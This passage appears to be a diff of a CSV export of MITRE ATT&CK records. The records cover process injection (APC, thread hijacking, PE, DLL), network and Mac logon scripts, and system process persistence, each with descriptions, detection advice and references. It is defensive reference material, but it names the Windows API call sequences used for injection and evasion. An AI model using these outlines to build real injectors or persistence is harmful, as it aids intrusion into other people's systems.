behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Anti-virus', 'Application control']",,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.004', 'url': 'https://attack.mitre.org/techniques/T1055/004'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx', 'description': 'Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.', 'source_name': 'Microsoft APC'}, {'url': 'https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/', 'description': 'Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.', 'source_name': 'CyberBit Early Bird Apr 2018'}, {'url': 'https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows', 'description': 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.', 'source_name': 'ENSIL AtomBombing Oct 2016'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx', 'description': 'Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.', 'source_name': 'Microsoft Atom Table'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/004,mitre-attack,T1055.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Asynchronous Procedure Call,"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/004', 'external_id': 'T1055.004'}, {'source_name': 'Microsoft APC', 'description': 'Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx'}, {'source_name': 'CyberBit Early Bird Apr 2018', 'description': 'Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.', 'url': 'https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/'}, {'source_name': 'ENSIL AtomBombing Oct 2016', 'description': 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.', 'url': 'https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows'}, {'source_name': 'Microsoft Atom Table', 'description': 'Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",1.1,attack-pattern,attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:29:43.786Z,2021-10-18T12:23:46.476Z,Asynchronous Procedure Call,"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). A variation of APC injection, dubbed ""Early Bird injection"", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:30.961Z,2020-01-14T01:29:43.786Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/004,mitre-attack,T1055.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Application control', 'Anti-virus']",,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.003', 'url': 'https://attack.mitre.org/techniques/T1055/003'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/003,mitre-attack,T1055.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Thread Execution Hijacking,"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/003', 'external_id': 'T1055.003'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",1.1,attack-pattern,attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:28:32.166Z,2021-10-18T12:22:50.800Z,Thread Execution Hijacking,"Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017) This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:30.941Z,2020-01-14T01:28:32.166Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/003,mitre-attack,T1055.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Application control', 'Anti-virus']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.002', 'url': 'https://attack.mitre.org/techniques/T1055/002'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/002,mitre-attack,T1055.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Portable Executable Injection,"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/002', 'external_id': 'T1055.002'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",1.1,attack-pattern,attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:27:31.344Z,2021-10-18T12:21:11.178Z,Portable Executable Injection,"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:30.882Z,2020-01-14T01:27:31.344Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/002,mitre-attack,T1055.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Anti-virus', 'Application control']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.001', 'url': 'https://attack.mitre.org/techniques/T1055/001'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://www.endgame.com/blog/technical-blog/hunting-memory', 'description': 'Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.', 'source_name': 'Elastic HuntingNMemory June 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/001,mitre-attack,T1055.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dynamic-link Library Injection,"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/001', 'external_id': 'T1055.001'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'Elastic HuntingNMemory June 2017', 'description': 'Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/hunting-memory'}]",1.1,attack-pattern,attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:26:08.145Z,2021-10-18T12:20:00.382Z,Dynamic-link Library Injection,"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:30.879Z,2020-01-14T01:26:08.145Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/001,mitre-attack,T1055.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Module: Module Load', 'Process: OS API Execution', 'Process: Process Access']",,"['Application control', 'Anti-virus']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037.003', 'url': 'https://attack.mitre.org/techniques/T1037/003'}, {'source_name': 'Petri Logon Script AD', 'url': 'https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008', 'description': 'Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1037/003,mitre-attack,T1037.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Logon Script,"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/003', 'external_id': 'T1037.003'}, {'source_name': 'Petri Logon Script AD', 'description': 'Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.', 'url': 'https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008'}]",1.0,attack-pattern,attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T18:01:03.666Z,2020-03-24T23:45:25.625Z,Network Logon Script,"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. -Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-24T23:45:25.625Z,2020-01-10T18:01:03.666Z,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification']",,,,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1543', 'url': 'https://attack.mitre.org/techniques/T1543'}, {'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx', 'description': 'Microsoft. (n.d.). Services. Retrieved June 7, 2016.', 'source_name': 'TechNet Services'}, {'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'source_name': 'AppleDocs Launch Agent Daemons'}, {'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'source_name': 'OSX Malware Detection'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,False,https://attack.mitre.org/techniques/T1543,mitre-attack,T1543,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create or Modify System Process,"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) +Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037/003,mitre-attack,T1037.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543', 'external_id': 'T1543'}, {'source_name': 'TechNet Services', 'description': 'Microsoft. (n.d.). Services. Retrieved June 7, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}]",1.0,attack-pattern,attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T16:03:18.865Z,2021-11-03T20:11:52.175Z,Create or Modify System Process,"Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. -Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ",attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5,attack-pattern,"['persistence', 'privilege-escalation']",2020-10-09T13:46:29.922Z,2020-01-10T16:03:18.865Z,"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. +Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1543,mitre-attack,T1543,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. -Monitor for changes to files associated with system-level processes.","['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification']",,,,"['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037.002', 'url': 'https://attack.mitre.org/techniques/T1037/002'}, {'url': 'https://support.apple.com/de-at/HT2420', 'description': 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.', 'source_name': 'creating login hook'}, {'source_name': 'S1 macOs Persistence', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/', 'description': 'Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1037/002,mitre-attack,T1037.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Logon Script (Mac),"Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a 